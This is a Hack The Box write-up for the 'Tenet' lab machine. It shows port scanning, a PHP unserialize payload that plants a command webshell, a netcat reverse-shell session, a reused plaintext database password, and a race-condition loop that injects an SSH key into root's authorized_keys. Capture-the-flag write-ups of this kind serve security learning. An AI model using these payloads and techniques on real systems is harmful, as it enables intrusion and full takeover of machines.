Hack The Box - Tenet

info_card.png

Tenet is a medium rated machine on HackTheBox created by egotisticalSW. For the user part we will find a backup php script and abuse the php unserialze function to reach RCE on the webserver resulting in a reverse shell. Next we find database credentials, with wich we can switch to the user Neil. Finally we will exploit a race condition in a bash script we are able to run as root to write our public ssh key to root’s authorized ssh keys.

User

Nmap

We start our enumeration off with a full port nmap scan, followed by a script and version scan to get a full picture of the attack surface.

Ininital scan all ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.130.37
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 13:42 CEST
Nmap scan report for 10.129.130.37
Host is up (0.026s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 77.11 seconds

Version and script scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -p 22,80 -sC -sV 10.129.130.37
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 13:45 CEST
Nmap scan report for 10.129.130.37
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.46 seconds

Backup file

The webpage just shows the default apache page, however gobuster reveals a wordpress installation.

1
2
3
4
5
6
7
8
9
10
11
12
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://10.129.130.37/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.130.37/
[+] Method:                  GET
...[snip]...
/.                    (Status: 200) [Size: 10918]
/wordpress            (Status: 301) [Size: 318] [--> http://10.129.130.37/wordpress/]
/.htaccess            (Status: 403) [Size: 278] 
...[snip]...

The wordpress installation works with absolute url’s, so we have to add the hostname tenet.htb to our hosts file.

On the migration blogpost there is a comment mentioning a sator.php file and a possible backup.

migration_blogpost.png

Navigating to http://[machine-ip]/sator.php.bak let’s us retrive the backup of the file

sator_php_bak.png

sator.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

Insecure Deserialization

The retrieved code takes user input and passes it to the unserialize function. We want to abuse this with creating our own serialized DatabaseExport instance. The DatabaseExport class creates a new file with the content of it’s data attribute on destruction. Controlling both the filename and the data, we can simply write a small webshell to the server with the following code.

1
2
3
4
5
6
7
8
9
10
<?php

class DatabaseExport
{
    public $user_file = 'grem.php';
    public $data = '<?php system($_REQUEST["cmd"]); ?>';
}

print serialize(new DatabaseExport);
?>
1
2
$ php ser.php 
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"grem.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}

We send the serialized object urlencoded to the endpoint with burp repeater and get RCE in the next request.

burp_deserialize.png

rce.png

First we set up out listener to catch the reverse shell.

1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Then with the next request, we get a bash reverse shell in burp from our webshell, recieve a connection back and upgrade our shell.

burp_revshell.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.130.37.
Ncat: Connection from 10.129.130.37:42450.
bash: cannot set terminal process group (1729): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@tenet:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@tenet:/var/www/html$ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443

www-data@tenet:/var/www/html$ 
www-data@tenet:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@tenet:/var/www/html$ 

Database Credentials

On the machine there are database credentials in the file /var/www/html/wordpress/wp-config.php which are also reused as the users account credentials, so we can pick up our first flag.

1
2
3
4
5
/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
1
2
3
4
5
6
www-data@tenet:/var/www/html/wordpress$ su neil
Password:
neil@tenet:/var/www/html/wordpress$ cd
neil@tenet:~$ ls
user.txt
neil@tenet:~$

Root

Race condition

We immediatly see that Neil may run a custom bash script as root.

1
2
3
4
5
6
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Investigating this script there is a race condition in the mktmp function. It first creates a temporary file with half of the name being predictable and set’s the umask in a second statement. Generating enough traffic to get our function executed between the tmpName and the umask call. We can write our own ssh public key to root’s authorized keys

enableSSH.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                /bin/echo "Successfully added $sshName to authorized_keys file!"

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"

        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

We do this by running an endless loop twice to have higher chances on winning the race.

1
while true; do echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDPzAealaGxA+uOu9rWuLLr9jqcvzXl5tQsi9G9i1R4gZOrmK1QqTZ/wxMUmsrck1nawr1qZyrP10jHf9ivE9hFP31ppgJPHHwP8gsL2jLnlLXRz5dziKIQYiv5K2rgflmaj8gkItD07SajveFfFnyc9a+qYuJ5x1/ov6KUYwQAmphcckGqThXOOSfudrzmWzbgjjLhpEvfWBHPSGf1jkHf8xxq6BRmgxOCwgze3DJJxhhwHX9TuchqgEXuklgsPuMSdAq1q7oPcrYJ8KVkWbR3mdoBoifXgM4NFPTqBdIEAUIxhL7zHiVMsFjNGtiF8rJSP0PgU3f1lIt/H1mmrb1pzAnEaOw0ysWA4ned7HqCaWdjiEEnftcqPTH2sQscMv4KfaqvVyFe+35NcUiJspdhMS3fTXsObgG+AJeIeO65gaEBs3MgZ14R2Q/wzQEA6SaqJjIj1vXMUuW9m5FjWtDnTYU4/9sVOtVwCJl2oikJW9Ywkhob95XRBIeEkPlSgk= jack@parrot' | tee -a /tmp/ssh* ;done

While the loops are running we execute the script as root, note here that because of the nature of the race condition you might have to repeat this request. To increase the chance you could e.g. run more of the above loops. It is furthermore no indication that the script failed if it prints Successfully added root@ubuntu to authorized_keys file!, because it uses the predefined key to echo to stdout.

1
2
3
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$

Now we can log into the machine with our private key as the root user and grab the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ssh -i root root@tenet.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Apr 13 13:52:10 UTC 2021

  System load:  1.75               Processes:             202
  Usage of /:   15.8% of 22.51GB   Users logged in:       1
  Memory usage: 18%                IP address for ens160: 10.129.130.37
  Swap usage:   0%


53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Apr 13 13:45:53 2021 from 10.10.14.18
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# wc -c /root/root.txt
33 /root/root.txt
root@tenet:~#